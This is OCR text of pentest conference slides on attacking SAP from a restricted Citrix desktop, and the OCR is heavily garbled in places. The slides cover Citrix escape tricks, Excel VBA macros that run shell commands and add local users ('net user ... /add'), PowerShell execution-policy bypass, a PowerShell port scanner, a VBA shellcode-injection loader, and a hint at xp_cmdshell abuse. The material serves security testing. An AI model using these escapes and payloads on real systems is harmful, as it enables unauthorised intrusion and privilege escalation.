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Context

Firewall ports

Need to perform SAP pentest from Citrix NSp'd
AWhich means o

I No direct connection
with the SAP systems

i No admin right o= —

at the beginning of tests ;)

Firewall

Core switch

I Not allowed to install
any software

SAP Landscape
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Issues with Security tools for SAP
(iIn my case)

All dedicated SAP tools are not really maintained or updated
ASapyto (not maintained anymore and replaced with bizploit)
ABizsploit (replaced by Onapsis software)

AAll others are not free

All SAP hacking (eg: Metasploit) tools need dependencies:
ASAP RFC SDK (not publicly available)

ARuby,

APyt hon &
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Difficulties when pentesting from a Citrix

First, when you have Citrix Receiver @)

On the road

— B
e

SAP access through
Citrix (full desktop or
published application 3%
mode), you have a |
Windows system with
SAP GUI application
and really often
Microsoft Office suite
with business object
opl uginso. — e

http://news.sap.com/citrixdesktopvirtualizationapplicationreceiverxenserverxenapp/

GROUP
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Difficulties when pentesting from a Citrix

When you pentest from a Citrix system:

ANo direct connection to SAP systems (ICA protocol)
I So no direct TCP encapsulation possible
I Forget Kali and all famous pre-packaged tools

AUnfortunately,] CA2t cp doesndot exXist
I Feel free to ping @_mO00dy_and motivate him
(one beer for each tweet)
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Difficulties when pentesting from a Citrix

When you pentest from a Citrix system:

ARuby or Python are rarely installed
Ayou cannot install/run Metasploit easily
I but do you really want to ?

ANatively from Windows OS:
PowerShell 2.0 October 2009

I Windows 7

I Windows Server 2008 R2
PowerShell 3.0 September 2012

I Windows 8

I Windows Server 2012
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Go-outside Citrix context:
Sharing of simple tricks

In published application mode, from SAP GUI or MS Office,
there are tons of Citrix escapes to go outside application,
reach the system and at the end run a CMD or PowerShell:
Anttp://archive.hack.lu/2008/snk_citrix_toolz.tgz

¥ 1]

Y Windows PowerShell — (=] &8

indows PowerShell
Copyright <{C>» 2812 Microsoft Corporation. Tous droits réservés.

PS5 CosUserssSnArkYsDocuments2> Get—ExecutionPolicy

Bypass
PSS CosUserssSnrkY~Documents >
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http://archive.hack.lu/2008/snk_citrix_toolz.tgz

Go-outside Citrix context:
Basic escape

Ctrl + F1 (under Citrix) C Ctrl + Alt + Del (under Windows OS)
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Go-outside Citrix context:
Basic escape

< Lock this computer
< Log off

%¢» Change a password..

F:'!I!"I['E

%% Windows Server-200s
~ Standard
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Go-outside Citrix context:
Basic escape

se of Access

Make your computer easier to use
Press the SPACEBAR to select the highlighted option.

iy [ Hear text on screen read aloud (Narrator)

= Lock this ct z . -
< Lock this computer ™ Make items on the screen larger (Magnifier)

= Log off
= [ See more contrast in colors (High Contrast)

«» Change a password...

% ¥ Type without the keyboard {On-Screen Keyboard)

W / ¥ Press keyboard shortcuts one key at a time (Sticky Keys)

%% Windows Server-200s

@ I If I press keys repeatedly, ignore extra presses (Filter Keys)

Standard ok | cancer | appy |
| =2 On-SSECRESIEEE - O] x|
EEch 2 |1&J2é 3"|4T 5(|{5_|?é 8 |9(;|Dé °)|—:|RetArr Origine | Pg préc.
T Jafz Je Jr [t Jy Ju|i Jo |p | afig] [ |me
Verr.maj|q |S |d |f |g |h |J |k || |m %, Ll*‘ — Ins Pause
(i - Jw ]x Je Jv Jo n [* ] ]/ ]y |Mei] 7 Jom]meer e
Ctrl | &= |Alt| |AItGr| B |Fn |Ctrl |<— |¢, |—> Options -
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Go-outside Citrix context:
Basic escape

Options n

I+ Use click sound
™ Tum on numeric key pad

— To use the On-Screen Keyboard:
= Click on lkeys
™ Hower over keys

Hiower duraticm:

Shiarter

1
I LlLamger
f ' i ' . ' |

1 o
= Scan through keys sesen

Scanning speed:
1
I
| . i . . . \

1 second

Faster Sloveer

To zelect a ke
= Use joystick, game pad|or other gaming device

| Uze kephoard key ISpace Bar Key 1rI

I Uee mouse clichk

About the On-Screen Keyvboard

| Ok I Cancel

— | o] = |

Ech 2 |1&J 2 & 3..|4,|5(| Origine|ngré-c.|
Tab | a | z | e | r t | y Fin | Pg suiv. |
Verr. maj| q | s | d | f | g | Ins Pause |
Maij | |w |x |c [v |b Imp. Arcet ag |
| Alt | Options |

Ctrl | =z
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Go-outside Citrix context:
Basic escape

he computer without a mous = I = I o

. -
"\._/'I "\._) @ - Ease of Access = Ease of Access Centell - | Use the computer without a mouse or keyboard - m I Search Control Panel E

Use the computer without a mouse or keyboard
When you select these settings, they will automatically start each tirme you log on.

Type using a pointing device ¥ Use click sound
™ Tum on numeric key pad

— To use the On-Screen Keyboard:

[+ Use On-Screen Keyboard

Type using the mouse or another pointing device such as a joystick by selecti & Click on |
a keyboard.
&~ Howver over keys
Aoroid using the mouse and keyboard Hiowern duratior:
1
Speak into a microphone to control the computer, open programs, and dictate &t Shiarter A Larmaer
Use Speech Recognition ' 1 d '
& Scan through keys sEeen
See also Seanning speed:
1
Learn about additional assistive technologies online Faster, I Slower,

] ' i ' . . 9
1l zecond
To zelect a kew

¥ Wse jopstick, game pad|an other gaming device

¥ Wse keyboard ke ISpac:e Bar Key vI

I Uze mouse click

About the On-Screen Kevboard

oK | Cancel | sppiy |
P = -
Ech 2 |1&J2,|3,,|4,|5(|6_|?é|8 |9§|Oé|°)|+:|RetArr |Origine|ngréc|
Teb  Ja fz Je |r Jt Jy Ju |i Jo P | Al*s| Fin __J/Posu |
vermaia s @ Jf Jo [n i Jk T Jm [F]v.] " | | rausel]l,
Ve = Jw x e v o I [ T 7oy M7 o] e |||
Ctrl |-'-' |Alt| |A|tGr|EI |Fn |Ctrl |<— |4f |—> |Options|Aide |_
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Go-outside Citrix context:
Basic escape

U
ﬁ:_}@v ﬁll = Ease of Access = Ease of Access Center = Use the computer without 2 mouse or keyboard - £33 I Search Control Panel !’ﬂ
- @ Control Panel
N Desktop uter without 2 mouse or keyboard
) ect these settings, they will autematically start each time you log on.
= Libraries
g pointing device
M Computer n-5creen Keyboard
@ Eaunp e using the mouse or another pointing device such as a joystick by selecting keys from a picture of
© Recycle Bin poard.
1 he mouse and keyboard

Speak intoc a microphone to control the computer, open programs, and dictate text.

Use Speech Recognition

See also

Learn about additional assistive technologies online

QK Cancel Aprply
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Go-outside Citrix context:

File / Drives access

Théecbi ent o request gives acce
Hard drive.

Alt allows you to copy your tools

ACopy&Paste works also

P16 [Clisnt) =l & F = =~

YHIMOR D
oo o

[T r'-J-IEef::-'-.h:-rI-:. i £ b=k LI
Flaces _ _ o
Vente-privee g Univ File= of - t_'.-'I?BZ ITe:—ct Documents [*.txt) ;I C | I AIRBUS
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Go-outside Citrix context:
MS Office Happy hacker

Office iIs a powerfull tool not only for document creation , with
macro you can :

A Create network socket

A Execute system commands

A Import binaries files or code

And natively, you can :
A Perform SQL queries
Privileges Escalation (in some case)
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Go-outside Citrix context:
MS Office Happy hacker: Map attack surface of SAP

Credits to Patrik Karlsson - Cqure.net

H ©- 5 hedgehogl [Mode de compatibilité] - Excel
awfi:@ ACCUEL  INSERTION  MISEENPAGE  FORMULES  DONNEES  REVISION  AFFICHAGE

ol —
Dg‘é Arial 0 A A T=E= - %REHVD}TEFHE ligne automatiquement | 5tandard
Coller " 6 I §- H+ H-A- === & 3= E Fusionneret centrer - 2. 0p o %) 4
Presse-pap.. T Police I Alignement P MNombre la
A B C D E F G H J K L
1
2 Range 10 50000
3 |Host 192 168.1.1
4 |Timeout 100 | .|
5 |Parallell 30 GOl
b
7
g
9
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Go-outside Citrix context:
MS Office Happy hacker: Map attack surface of SAP

E31 v I
A B C D E F
1
Z Range 10 8000
3 Host 172.16.141.12 A B
4 |Timeout 100
5 Parallel 30 co 1 22 Open
6 : 2 25 Open
L 3 111 Open
1 427 Open
2 631 Open
) 1128 Open
7| 3300 Open SAP Gateway
3 3600 Open
3 3900 Open
:}l 8000 Open Internet Communicatiot
1 Manager (ICM) HTTP
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Go

-outside Citrix context:

MS Office Happy hacker: Get a shell, a PowerShell

-al Microsoft Visual Basic - SNKhf.xds - [Module? (Code]]

%E\ch\er Edition  Affichage Insertion

& - #
x|
= M=l T -
= E ¥BAProject {SNKbf.xls)
=55 Microsoft Excel Objsts
Sheetz {Config)
5] Thisworkbook
=25 Modules
% Modulel
& Modulez

x|
Sheetz workshest hd
Alphabétique ] Par catégorie |

lane) _ EEe R
DisplayPageBreak False
DisplayRight TaLef False
EnableAutoFiler  False
EnableCalculation True
EnableFormatCon True
EnableCutlining  False
EnablePivotTable False
Enableselection 0 - xINoRestricti

Mame Config
Scrollarea

Standardwidth 8,43

isible: -1 - ¥ISheetVisib

Format Débogage Exécution

Qutils  Compléments Fenétre 7 Tapez une question - .8 X
pou @ B2 B AW | @ L1 con =
‘[Général) j ‘cmd j
Sub crmdi() S
DIim Result As String
DIim Hame As String
Dim mycmd As String E (-.J - :
wyewd = Sheetz.Cells(z, 10) pley)iie  ACCUEIL INSERTION MISE EN PAGE FORMULES DOMNNEES REVISIOM AFFICHAGE
'Mame = "Zhell command result” o x
'Sheets.idd , Sheets|Sheets.Count) faps] . - = — 0 = . . .
| Sheets (Sheets.Count] . Neme — Here ﬁ B Arial 110 -~ A A == ¥ =# Renvoyer 3 la ligne automatiquement
E@ -
:Shell (:c:cummand.com Jo conmand™) . CD”EI’ G I S . = = = J— o .
Shell ("ewd.exe /o net user snk snkiz3! fadd ™) v = = = = = usionner et centrer

-
Shell (mycrd)

iy demarrer

vente-priveeg UniverShell;/#

Presse-pap... fa Police I Alignement I
'Sheets (Sheets.Count) .Cells(l6, 2) = Result
MsgBox "Done!, command executed rﬂl‘i M .f-r
e A A B c D E F G H
1
. @Windows PowerShell EI@
kIR indows PowerShell
4 Copyright ¢(C> 2812 Microsoft Corporation. Tous droits réservés.
LEIEPrs C:\lUsers\SnBrkY\Documents> Get-ExecutionPolicy
FRIREypass
; PS C:\Userss\SnBrkY\Documents> _
8
9
10
1
12
13
14
15
16
17
18

STAACK
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B2 op om0 50 00 Mise en forme Mettre sous forme
"7 conditionneller  detableau -
Nombre [ Style
| J K L M
Command  powershell -ExecutionPolicy bypass

GO!

Exemple Command

notepad c:\result txt

net user test test123! fadd
attrib_exe c:* (liste les fichiers)
tree.com (liste les repertoires)
telnet

powershell -ExecutionPalicy bypass

AIRBUS

GROUP



Go-outside Citrix context:

MS Office Happy hacker: Get a shell, a PowerShell

1p %172.16.141.12"

‘.II

1

3 $range = 20..8000

4

5 foreach (5r in Srange)

(_:

7 Bf

8

B Sport Sr
10

11 if(Test-Connection -BufferSize 32 -Count 1 -Quiet -ComputerName $ip)
12
13 = {

4 {ErrorActionPreference="Ignore"
15 = Try {
16
17 $socket new-object System.Net.Sockets.TcpClient(Sip, %port)
18 “$ip listening to port Sport”
19 $socket.Close()

20 ¥

21 [ Catch {

}

24 }

25 }

Z :\HACKING\Hacking_Tools\SAP\Power SAP\public\powersap\Standalone\soap> C:\
172.16.141.12 listening to port 22
172.16.141.12 listening to port 25

172.16.141.12 listening to port 111
172.16.141.12 listening to port 427
172.16.141.12 listening to port 631
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Go-outside Citrix context:
MS Office Happy hacker: Import files, binaries or DLL

Option Explicit

FPrivate Declare Function Virtualilloco Lilbh "EERMELIZ™ [(EvWal lpiddress A= Long, BvwWwal
Priwatce Declare Function WriteProcessMemory Likbh "EERMNELSZ™ [(BEvWal hProcess Ls Long, B
FPriwvate Declare Function CreateThread Likbh "EERMELIZ™ [(BEvval lpThreadittrilbutes L= Lo
Const MEM COMMIT = &£H1O00O0

Const PAGE EXECUTE EREADWRITE = &£H40

Di l1pMerwory L= Long
Dim =53hellCode A= String
IDim 1lResult A= Long

=Shellcode = Chr (£HES) + Chr (£HO) + Chr (£HO)] + Chr (£HO) + Chr (£HO] + Chr [(£HSE)

Priwatce Sulh ExecutefhellCaodes () f

=ShellCode = =3hellcCode + Chr(£HO) + Chr (€HG6S)] + Chr (£HSS) + Chr (£HSF) + Chri&HSj
ZShellCode = =ShellCode + Chr (£HES)] + Chr (£HO) + Chr (&HO) + Chr (£HO) + Chr (&HO) ﬁ’i
sShellCode = =sShellCode + Chr ([ £HSB) + wiHFF)] + Chr [(£H36
sShellcCode = =3hellcode + Chr (HO) + alEONT RNt 3 Tt lend [ E%],] + Chr (sHEGS) ]
2ShellCode = =ShellCode + Chr (£H3IO) + 0] + Chr [&HSS)
sShellCode = =ShellCode + Chr(sHS7) «+ || Helefrominjected shellcode! SHEL] + Chr (£H
=ShellCode = =3hellcCode + Chr (£H3C) + HSE)] + Chr ( <HS
2ShellCode = =ShellCode + Chr (£HC3) + £HSS)] + Chr (&H
sShellCode = =sShellCode + Chr (£H11)] + £H4) + Chr (<HO)
=ShellCode = =3hellCode + Chr (£HC1) + Chr (€HEZ) + Chr (€HZ) + Chr (£H1] + Chr {&HD1)
2ShellCode = =ShellCode + Chr (£HC9)] + Chr (&H31) + Chr (&HDE) + Chr (&H31)] + Chr [ sHDZ
SShellCode = =ShellCode + Chr (£HEO)] + Chr (£HEE)] + Chr (€H31) + Chr (&HCO)] + Chrc&niﬂ,
=ShellCode = =3hellCode + Chr (£HO) + Chr (€HO) + Chr(£HO) + Chr (€HO)] + Chr (€HO) + .
SShellCode = =ShellCode + Chr (£HZ0) + Chr (&H73) + Chr (&HG6S) + Chr (&HE5] + Chr [ 8HEC
lpMemory = Wirtualslloec (0&, Len(sShellcode), MEM COMMIT, PAGE EXECUTE READWRITE)
lRe=zult = WriteProcezzsMemorv(—1&, lpMemory, =3hellCode, Leni(sZhellCode), 0O£) r
l1Result = CreateThreadi(0&s, 0&, lpMemory, 0O0&, 0L, OL)

End Suk -

https://blog.didierstevens.com/2008/10/23/excedxercisedn-style/

Gen_macro.py or Didier Stevens tools
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Go-outside Citrix context:
MS Office Happy hacker: SQL queries

SQL queries can be performed from Excel
AForMS-SQL, could be used to tak
account default password:
I 1If there 1Is XP_cmdshell procedure , you know what to do J
AFor Oracle Native SQL queries
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